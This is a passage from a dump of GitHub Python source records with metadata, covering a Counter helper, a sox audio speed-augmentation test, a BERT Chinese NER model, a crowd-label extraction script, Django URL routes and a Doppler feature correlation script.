= collections.Counter(items)\n else:\n raise TypeError(\"Invalid 'items' argument. \"\n \"Must be iterable and not %s type.\" % type(items))\n\n if float_prec is None:\n itms = [(k, float(cnt[k]/tot)) for k in cnt]\n else:\n itms = [(k, round(cnt[k]/tot, float_prec)) for k in cnt]\n\n if is_sorted:\n if str(sort_by).lower() in ['value', 'v', '1']:\n itms = sorted(itms, key=lambda x: x[1], reverse=desc)\n elif str(sort_by).lower() in ['key', 'k', '0']:\n itms = sorted(itms, key=lambda x: x[0], reverse=desc)\n else:\n raise ValueError(\"invalid sort_by value. must be 'value' or 'key'\")\n if callable(as_):\n return as_.__call__(itms)\n\n\ndef partition_string(seq, chunk_size, skip_tail=False):\n lst = []\n if chunk_size <= len(seq):\n lst.extend([seq[:chunk_size]])\n lst.extend(partition_string(seq[chunk_size:], chunk_size, skip_tail))\n elif not skip_tail and seq:\n lst.extend([seq])\n return lst\n\n", "repo_name": "dtemkin/magicwand", "sub_path": "magicwand/itertoolsx.py", "file_name": "itertoolsx.py", "file_ext": "py", "file_size_in_byte": 2836, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.Hashable", "line_number": 20, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 37, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 52, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 58, "usage_type": "call"}]} {"seq_id": "19755800281", "text": "#coding=utf-8\n# File : test_sox_speed_aug.py\n# Time : 2022/08/09 11:12:10\n# Author : Jinghan Peng\n# Desciption: \n\nimport os, sys\nimport sox\nimport torchaudio\nimport time\nimport torch\n\ndef main():\n in_path = \"/data3/pengjinghan/test_wav/AfQGUOMKCAQ.wav\"\n out_path = \"/data3/pengjinghan/test_wav/sp2-AfQGUOMKCAQ.wav\"\n \n # waveform, sr = torchaudio.backend.sox_io_backend.load(in_path,\n # frame_offset=0 , \n # num_frames=-1, \n # normalize=False, \n # channels_first=False)\n # waveform = waveform.numpy()\n # print(waveform.shape)\n # print(waveform[100:,0])\n \n for i in range(1):\n waveform, sr = torchaudio.backend.sox_io_backend.load(in_path,\n frame_offset=0 , \n num_frames=32320, \n normalize=False, \n channels_first=False)\n \n waveform.squeeze_(1)\n \n beg_time = time.time()\n \n waveform = waveform.unsqueeze(1).numpy()\n # sox -t wav /data6/pengjinghan/ffsvc2020_data/ffsvc2020_data/wav/dev/T0549/549PCM5M/T0549_549PCM5M_recorded6_0305_normal.wav -t wav - speed 1.1\n tfm = sox.Transformer()\n tfm.speed(1.1)\n # array_out = tfm.build_array(input_filepath=in_path)\n # beg_time = time.time()\n ta_array_out = tfm.build_array(input_array=waveform, sample_rate_in=sr)\n # print(f\"{time.time() - beg_time} s\")\n # sox_array_out = tfm.build_array(input_filepath=in_path)\n \n # print(type(ta_array_out))\n ta_array_out = torch.from_numpy(ta_array_out.copy())\n # print(type(ta_array_out))\n \n print(f\"{ta_array_out.shape}, {time.time() - beg_time} s\")\n print(ta_array_out[100:200])\n \n waveform, sr = torchaudio.backend.sox_io_backend.load(in_path,\n frame_offset=0 , \n num_frames=32320, \n normalize=False, \n channels_first=True)\n print(f\"raw wav shape: {waveform.shape}\")\n beg_time = time.time()\n\n effects = [\n [\"speed\", \"1.1\"],\n [\"rate\", f\"{sr}\"],\n ]\n sox_effect_waveform, sample_rate_n = torchaudio.sox_effects.apply_effects_tensor(waveform, sr, effects)\n print(f\"{sox_effect_waveform.shape}, {sample_rate_n}, {time.time() - beg_time} s\")\n sox_effect_waveform = sox_effect_waveform.squeeze(0)\n print(sox_effect_waveform[100:200])\n \n diff = torch.sum(sox_effect_waveform - ta_array_out)\n print(diff)\n \n # print(type(ta_array_out), ta_array_out.shape)\n # print(ta_array_out[100:])\n # # tfm.build_file(in_path, out_path)\n \n # print(type(sox_array_out), sox_array_out.shape)\n # print(sox_array_out[100:])\n # if ta_array_out.any() == sox_array_out.any():\n # print(\"same\")\n\nif __name__ == '__main__':\n main()\n\n", "repo_name": "NeoBryant/audio_tools", "sub_path": "data/test_sox_speed_aug.py", "file_name": "test_sox_speed_aug.py", "file_ext": "py", "file_size_in_byte": 2911, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torchaudio.backend.sox_io_backend.load", "line_number": 27, "usage_type": "call"}, {"api_name": "torchaudio.backend", "line_number": 27, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 35, "usage_type": "call"}, {"api_name": "sox.Transformer", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 48, "usage_type": "call"}, {"api_name": "time.time", "line_number": 51, "usage_type": "call"}, {"api_name": "torchaudio.backend.sox_io_backend.load", "line_number": 54, "usage_type": "call"}, {"api_name": "torchaudio.backend", "line_number": 54, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 60, "usage_type": "call"}, {"api_name": "torchaudio.sox_effects.apply_effects_tensor", "line_number": 66, "usage_type": "call"}, {"api_name": "torchaudio.sox_effects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 71, "usage_type": "call"}]} {"seq_id": "74837611429", "text": "\"\"\"\n@autor: chenzf\n@file: chinese_ner_model.py\n@time: 2019/4/9 1:08 PM\n\n\"\"\"\nimport torch\nfrom torch import nn\nfrom pytorch_pretrained_bert.modeling import BertPreTrainedModel,BertModel\n\nclass BertChineseNER(BertPreTrainedModel):\n def __init__(self,config,num_labels):\n super(BertChineseNER,self).__init__(config)\n self.num_labels=num_labels\n self.bert=BertModel(config)\n self.dropout=nn.Dropout(config.hidden_dropout_prob)\n self.classifier=nn.Linear(config.hidden_size,num_labels)\n self.apply(self.init_bert_weights)\n\n\n def forward(self,input_ids,token_type_ids=None, attention_mask=None, labels=None):\n sequence_output, _ = self.bert(input_ids, token_type_ids, attention_mask, output_all_encoded_layers=False)\n sequence_output=self.dropout(sequence_output)\n logits = self.classifier(sequence_output)\n\n if labels is not None:\n loss_fct = nn.CrossEntropyLoss()\n if attention_mask is not None:\n active_loss = attention_mask.view(-1) == 1\n active_logits = logits.view(-1, self.num_labels)[active_loss]\n active_labels = labels.view(-1)[active_loss]\n loss = loss_fct(active_logits, active_labels)\n else:\n loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))\n return loss\n else:\n return logits\n\n\n", "repo_name": "ZephyrChenzf/Chinese-NER-With-Bert", "sub_path": "chinese_ner/chinese_ner_model.py", "file_name": "chinese_ner_model.py", "file_ext": "py", "file_size_in_byte": 1417, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pytorch_pretrained_bert.modeling.BertPreTrainedModel", "line_number": 11, "usage_type": "name"}, {"api_name": "pytorch_pretrained_bert.modeling.BertModel", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn.Dropout", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}]} {"seq_id": "72883517031", "text": "\"\"\"Extract labeling data from the question labeling HITs.\n\nSee ``python extractlabels.py --help`` for more information.\n\"\"\"\n\nimport ast\nimport collections\nimport json\nimport logging\n\nimport click\n\nfrom scripts import _utils\n\n\nlogger = logging.getLogger(__name__)\n\n\n# constants\n\nEXPECTED_NUM_LABELS = 3\n\nKEY_SCHEMA = {\n 'subject': str,\n 'question': str,\n 'answer': lambda x: None if x == 'None' else str(x),\n 'quality_labels': ast.literal_eval, # List[str]\n 'score': int,\n 'high_quality': bool\n}\n\nLABEL_TO_BIT = {\n 'always': 1,\n 'usually': 1,\n 'sometimes': 1,\n 'rarely': 0,\n 'never': 0,\n 'bad': 0\n}\n\n\n# main function\n\n@click.command(\n context_settings={\n 'help_option_names': ['-h', '--help']\n })\n@click.argument(\n 'xml_dir',\n type=click.Path(exists=True, file_okay=False, dir_okay=True))\n@click.argument(\n 'output_path',\n type=click.Path(exists=False, file_okay=True, dir_okay=False))\ndef extractlabels(xml_dir, output_path):\n \"\"\"Extract labeling data from XML_DIR and write to OUTPUT_PATH.\n\n Extract the subject-question pair labeling data from a batch of the\n question labeling HITs. XML_DIR should be an XML directory extracted\n with AMTI. OUTPUT_PATH is the location to which the data will be\n written in a JSON Lines format. Each instance will have a \"labels\"\n attribute, which is a list of the labels, and a \"majority\" attribute\n giving the majority (true / false) vote, a \"true_votes\" attribute\n giving the number of votes for \"true\", and an \"is_bad\" attribute\n giving whether or not any annotators labeled the assertion as \"bad\".\n \"\"\"\n # submissions : the form data submitted from the question labeling\n # HITs as a list of dictionaries mapping the question identifiers to\n # the free text, i.e.:\n #\n # [\n # {\n # 'attribute-idx': attribute_value,\n # ...\n # },\n # ...\n # ]\n #\n # See the data for individual attributes and values. The index (idx)\n # is used because each HIT had the worker label multiple instances\n # for efficiency purposes.\n submissions = _utils.extract_xml_dir(xml_dir)\n\n # decode the data from the ``\"attribute-idx\": value`` style to the\n # individual rows.\n rows = _utils.decode_attribute_idx_data(submissions)\n\n # aggregate all the labels for each instance, since we had multiple\n # assignments / workers per instance.\n key_to_labels = collections.defaultdict(list)\n for row in rows:\n key = _utils.key(row, KEY_SCHEMA.keys())\n key_to_labels[key].append(row['label'])\n\n # create the new rows by processing the aggregated labels\n new_row_strs = []\n for key, labels in key_to_labels.items():\n assert len(labels) == EXPECTED_NUM_LABELS, (\n f'{key} only has {len(labels)} assertion labels.'\n f' It should have exactly {EXPECTED_NUM_LABELS}.'\n )\n\n # create the new row\n\n # use an OrderedDict so the keys appear in the right order in\n # the JSON.\n new_row = collections.OrderedDict([\n (attribute, as_type(value))\n for (attribute, as_type), value\n in zip(KEY_SCHEMA.items(), key)\n ])\n\n # compute new attributes to add\n is_bad = 'bad' in labels\n true_votes = sum([LABEL_TO_BIT[label] for label in labels])\n majority = true_votes > (len(labels) / 2.0)\n\n # add the new attributes\n new_row['labels'] = labels\n new_row['is_bad'] = is_bad\n new_row['true_votes'] = true_votes\n new_row['majority'] = majority\n\n new_row_strs.append(json.dumps(new_row))\n\n # write out the data\n with click.open_file(output_path, 'w') as output_file:\n output_file.write('\\n'.join(sorted(new_row_strs)))\n\n\nif __name__ == '__main__':\n extractlabels()\n", "repo_name": "allenai/twentyquestions", "sub_path": "scripts/extractlabels.py", "file_name": "extractlabels.py", "file_ext": "py", "file_size_in_byte": 3863, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 27, "usage_type": "attribute"}, {"api_name": "scripts._utils.extract_xml_dir", "line_number": 81, "usage_type": "call"}, {"api_name": "scripts._utils", "line_number": 81, "usage_type": "name"}, {"api_name": "scripts._utils.decode_attribute_idx_data", "line_number": 85, "usage_type": "call"}, {"api_name": "scripts._utils", "line_number": 85, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 89, "usage_type": "call"}, {"api_name": "scripts._utils.key", "line_number": 91, "usage_type": "call"}, {"api_name": "scripts._utils", "line_number": 91, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 106, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 123, "usage_type": "call"}, {"api_name": "click.open_file", "line_number": 126, "usage_type": "call"}, {"api_name": "click.command", "line_number": 44, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 48, "usage_type": "call"}, {"api_name": "click.Path", "line_number": 50, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 51, "usage_type": "call"}, {"api_name": "click.Path", "line_number": 53, "usage_type": "call"}]} {"seq_id": "4667280927", "text": "from django.urls import path\nfrom . import views\n\n\n\nurlpatterns = [\n path('', views.blogPage, name = 'blog-home' ),\n path('createBlog/', views.createBlog, name = 'createBlog' ),\n path('updateBlog/', views.updateBlog, name = 'updateBlog'),\n path('deleteBlog/', views.deleteBlog, name = 'deleteBlog'),\n\n path('deleteFile/', views.deleteFile, name = 'deleteFile'),\n path('OneBlog/', views.OneBlog, name = 'OneBlog'),\n\n\n path('eventList/', views.eventList, name = 'eventList'),\n path('createEvent/', views.createEvent, name = 'createEvent'),\n path('deleteEvent/', views.deleteEvent, name = 'deleteEvent'),\n path('updateEvent/', views.updateEvent, name = 'updateEvent'),\n path('eventpersons/', views.eventpersons, name = 'eventpersons'),\n path('addperson/', views.addperson, name = 'addperson'),\n path('delperson/', views.delperson, name = 'delperson'),\n\n\n\n\n\n\n\n\n\n\n \n\n]", "repo_name": "Faheem-Khan97/Alumni_management", "sub_path": "blog/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 977, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}]} {"seq_id": "3321309933", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 16 16:54:13 2019\n\n@author: kshama\n\"\"\"\n\nimport csv\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.stats as scst\n\n\nwith open(\"DataX.csv\",mode=\"r\") as f:\n csvreader = csv.reader(f)\n all_records = list(csvreader)\nmaxf1_array = []\nmaxf2_array = []\nmaxf3_array = []\nmaxf4_array = []\nmeanf1_array = []\nmeanf2_array = []\nmeanf3_array = []\nmeanf4_array = []\npsv_array = []\ndiameter_array = []\ndepth_array = []\n\nfor i in range(len(all_records)):\n record = all_records[i]\n \n maxf1_array.append(record[1])\n maxf2_array.append(record[4]) \n maxf3_array.append(record[7])\n maxf4_array.append(record[10]) \n meanf1_array.append(record[2])\n meanf2_array.append(record[5])\n meanf3_array.append(record[8])\n meanf4_array.append(record[11])\n psv_array.append(record[13])\n diameter_array.append(record[15])\n depth_array.append(record[14])\n#%%\npsv_array = np.asarray([float(i) for i in psv_array], dtype = np.float32)\ndiameter_array = np.asarray([float(i) for i in diameter_array], dtype = np.float32)\ndepth_array = np.asarray([float(i) for i in depth_array], dtype = np.float32)\nmaxf1_array = np.asarray([float(i) for i in maxf1_array], dtype = np.float32)\nmeanf1_array = np.asarray([float(i) for i in meanf1_array], dtype = np.float32)\nmaxf2_array = np.asarray([float(i) for i in maxf1_array], dtype = np.float32)\nmeanf2_array = np.asarray([float(i) for i in meanf1_array], dtype = np.float32)\nmaxf3_array = np.asarray([float(i) for i in maxf1_array], dtype = np.float32)\nmeanf3_array = np.asarray([float(i) for i in meanf1_array], dtype = np.float32)\nmaxf4_array = np.asarray([float(i) for i in maxf1_array], dtype = np.float32)\nmeanf4_array = np.asarray([float(i) for i in meanf1_array], dtype = np.float32)\nvolume_array = np.multiply(psv_array,diameter_array)\n\nplt.scatter(psv_array,maxf1_array)\nplt.show() \n\n#%%\ncovariance_1 = np.cov(maxf1_array,psv_array)\ncorr1, _ = scst.pearsonr(maxf1_array,psv_array)\ncorrs1,v = scst.spearmanr(maxf1_array,psv_array)\nprint(covariance_1[0][1])\nprint('corr1 ',corr1)\nprint('corrs1 ',corrs1)\n\n#%%\ncovariance_2 = np.cov(meanf1_array,psv_array)\ncorr2, _ = scst.pearsonr(meanf1_array,psv_array)\ncorrs2,v = scst.spearmanr(meanf1_array,psv_array)\nprint(covariance_2[0][1])\nprint('corr2 ',corr2)\nprint('corrs2 ',corrs2)\n\n#%%\ncovariance_3 = np.cov(maxf1_array,diameter_array)\ncorr3, _ = scst.pearsonr(maxf1_array,diameter_array)\ncorrs3,v = scst.spearmanr(maxf1_array,diameter_array)\nprint(covariance_3[0][1])\nprint('corr3 ',corr3)\nprint('corrs3 ',corrs3)\n\n#%%\ncovariance_4 = np.cov(meanf1_array,diameter_array)\ncorr4, _ = scst.pearsonr(meanf1_array,diameter_array)\ncorrs4,v = scst.spearmanr(meanf1_array,diameter_array)\nprint(covariance_4[0][1])\nprint('corr4 ',corr4)\nprint('corrs4 ',corrs4)\n\n#%%\ncovariance_5 = np.cov(maxf1_array,depth_array)\ncorr5, _ = scst.pearsonr(maxf1_array,depth_array)\ncorrs5,v = scst.spearmanr(maxf1_array,depth_array)\nprint(covariance_5[0][1])\nprint('corr5 ',corr5)\nprint('corrs5 ',corrs5)\n\n#%%\ncovariance_6 = np.cov(meanf1_array,depth_array)\ncorr6, _ = scst.pearsonr(meanf1_array,depth_array)\ncorrs6,v = scst.spearmanr(meanf1_array,depth_array)\nprint(covariance_6[0][1])\nprint('corr6 ',corr6)\nprint('corrs6 ',corrs6)\n\n#%%\ncovariance_7 = np.cov(maxf2_array,psv_array)\ncorr7, _ = scst.pearsonr(maxf2_array,psv_array)\ncorrs7,v = scst.spearmanr(maxf2_array,psv_array)\nprint(covariance_7[0][1])\nprint('corr7 ',corr7)\nprint('corrs7 ',corrs7)\n\n#%%\ncovariance_8 = np.cov(meanf2_array,psv_array)\ncorr8, _ = scst.pearsonr(meanf2_array,psv_array)\ncorrs8,v = scst.spearmanr(meanf2_array,psv_array)\nprint(covariance_8[0][1])\nprint('corr8 ',corr8)\nprint('corrs8 ',corrs8)\n#%%\ncovariance_9 = np.cov(maxf2_array,diameter_array)\ncorr9, _ = scst.pearsonr(maxf2_array,diameter_array)\ncorrs9,v = scst.spearmanr(maxf2_array,diameter_array)\nprint(covariance_9[0][1])\nprint('corr9 ',corr9)\nprint('corrs9 ',corrs9)\n\n#%%\ncovariance_10 = np.cov(meanf2_array,diameter_array)\ncorr10, _ = scst.pearsonr(meanf2_array,diameter_array)\ncorrs10,v = scst.spearmanr(meanf2_array,diameter_array)\nprint(covariance_10[0][1])\nprint('corr10 ',corr10)\nprint('corrs10 ',corrs10)\n\n#%%\ncovariance_11 = np.cov(maxf2_array,depth_array)\ncorr11, _ = scst.pearsonr(maxf2_array,depth_array)\ncorrs11,v = scst.spearmanr(maxf2_array,depth_array)\nprint(covariance_11[0][1])\nprint('corr11 ',corr11)\nprint('corrs11 ',corrs11)\n\n#%%\ncovariance_12 = np.cov(meanf2_array,depth_array)\ncorr12, _ = scst.pearsonr(meanf2_array,depth_array)\ncorrs12,v = scst.spearmanr(meanf2_array,depth_array)\nprint(covariance_12[0][1])\nprint('corr12 ',corr12)\nprint('corrs12 ',corrs12)\n#%%\n#%%\ncovariance_13 = np.cov(maxf3_array,psv_array)\ncorr13, _ = scst.pearsonr(maxf3_array,psv_array)\ncorrs13,v = scst.spearmanr(maxf3_array,psv_array)\nprint(covariance_13[0][1])\nprint('corr13 ',corr13)\nprint('corrs13 ',corrs13)\n#%%\ncovariance_14 = np.cov(meanf3_array,psv_array)\ncorr14, _ = scst.pearsonr(meanf3_array,psv_array)\ncorrs14,v = scst.spearmanr(meanf3_array,psv_array)\nprint(covariance_14[0][1])\nprint('corr14 ',corr14)\nprint('corrs14 ',corrs14)\n\n#%%\ncovariance_15 = np.cov(maxf3_array,diameter_array)\ncorr15, _ = scst.pearsonr(maxf3_array,diameter_array)\ncorrs15,v = scst.spearmanr(maxf3_array,diameter_array)\nprint(covariance_15[0][1])\nprint('corr15 ',corr15)\nprint('corrs15 ',corrs15)\n\n#%%\ncovariance_16 = np.cov(meanf3_array,diameter_array)\ncorr16, _ = scst.pearsonr(meanf3_array,diameter_array)\ncorrs16,v = scst.spearmanr(meanf3_array,diameter_array)\nprint(covariance_16[0][1])\nprint('corr16 ',corr16)\nprint('corrs16 ',corrs16)\n\n#%%\ncovariance_17 = np.cov(maxf3_array,depth_array)\ncorr17, _ = scst.pearsonr(maxf3_array,depth_array)\ncorrs17,v = scst.spearmanr(maxf3_array,depth_array)\nprint(covariance_17[0][1])\nprint('corr17 ',corr17)\nprint('corrs17 ',corrs17)\n\n#%%\ncovariance_18 = np.cov(meanf3_array,depth_array)\ncorr18, _ = scst.pearsonr(meanf3_array,depth_array)\ncorrs18,v = scst.spearmanr(meanf3_array,depth_array)\nprint(covariance_18[0][1])\nprint('corr18 ',corr18)\nprint('corrs18 ',corrs18)\n\n#%%\ncovariance_19 = np.cov(maxf4_array,psv_array)\ncorr19, _ = scst.pearsonr(maxf4_array,psv_array)\ncorrs19,v = scst.spearmanr(maxf4_array,psv_array)\n\nprint(covariance_19[0][1])\nprint('corr19 ',corr19)\nprint('corrs19 ',corrs19)\n\n\n#%%\ncovariance_20 = np.cov(meanf4_array,psv_array)\ncorr20, _ = scst.pearsonr(meanf4_array,psv_array)\ncorrs20,v = scst.spearmanr(meanf4_array,psv_array)\nprint(covariance_20[0][1])\nprint('corr20 ',corr20)\nprint('corrs20 ',corrs20)\n\n#%%\ncovariance_21 = np.cov(maxf4_array,diameter_array)\ncorr21, _ = scst.pearsonr(maxf4_array,diameter_array)\ncorrs21,v = scst.spearmanr(maxf4_array,diameter_array)\nprint(covariance_21[0][1])\nprint('corr21 ',corr21)\nprint('corrs21 ',corrs21)\n\n#%%\ncovariance_22 = np.cov(meanf4_array,diameter_array)\ncorr22, _ = scst.pearsonr(meanf4_array,diameter_array)\ncorrs22,v = scst.spearmanr(meanf4_array,diameter_array)\nprint(covariance_22[0][1])\nprint('corr22 ',corr22)\nprint('corrs22 ',corrs22)\n\n#%%\ncovariance_23 = np.cov(maxf4_array,depth_array)\ncorr23, _ = scst.pearsonr(maxf4_array,depth_array)\ncorrs23,v = scst.spearmanr(maxf4_array,depth_array)\nprint(covariance_23[0][1])\nprint('corr23 ',corr23)\nprint('corrs23 ',corrs23)\n\n#%%\ncovariance_24 = np.cov(meanf4_array,depth_array)\ncorr24, _ = scst.pearsonr(meanf4_array,depth_array)\ncorrs24,v = scst.spearmanr(meanf4_array,depth_array)\nprint(covariance_24[0][1])\nprint('corr24 ',corr24)\nprint('corrs24 ',corrs24)", "repo_name": "varsh2506/Handheld-Doppler-Analysis", "sub_path": "Correlation.py", "file_name": "Correlation.py", "file_ext": "py", "file_size_in_byte": 7506, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "csv.reader", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.multiply", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 62, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 63, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 63, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 64, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 64, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 70, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 71, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 71, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 72, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 72, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 78, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 79, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 79, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 80, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 80, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 86, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 87, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 87, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 88, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 88, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 94, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 95, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 95, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 96, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 96, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 102, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 103, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 103, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 104, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 110, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 111, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 111, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 112, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 112, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 118, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 119, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 119, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 120, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 120, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 125, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 126, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 126, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 127, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 127, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 133, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 134, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 134, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 135, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 135, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 141, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 142, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 143, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 143, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 149, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 150, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 150, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 151, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 151, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 157, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 158, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 158, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 159, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 159, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 164, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 165, "usage_type": "call"}, {"api_name": 